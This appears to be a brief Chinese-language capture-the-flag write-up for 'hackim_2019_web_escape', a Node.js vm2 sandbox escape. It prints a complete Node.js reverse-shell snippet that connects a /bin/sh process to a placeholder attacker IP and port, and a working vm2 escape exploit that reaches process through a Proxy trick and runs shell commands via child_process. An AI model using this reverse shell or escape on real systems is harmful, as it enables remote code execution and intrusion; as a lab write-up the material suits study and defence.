hackim_2019_web_escape
可以看到是关于Node.JS沙箱逃逸的。
可以先查看目标模块的信息:
hackim_2019_web_escape
可以看出题目设置的模块vm2。所以可能下面这个反弹shell的模块不适用:
(function () {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(your_port, "your_ip", function () {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
赛后看源码可以看出这里过滤了while和for。
可以去看github上的vm2模块的issue,里面也有很多提交的escape的exp,找一个使用:
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()
hackim_2019_web_escape
cat iamnotwhatyouthink就可以得到flag。
|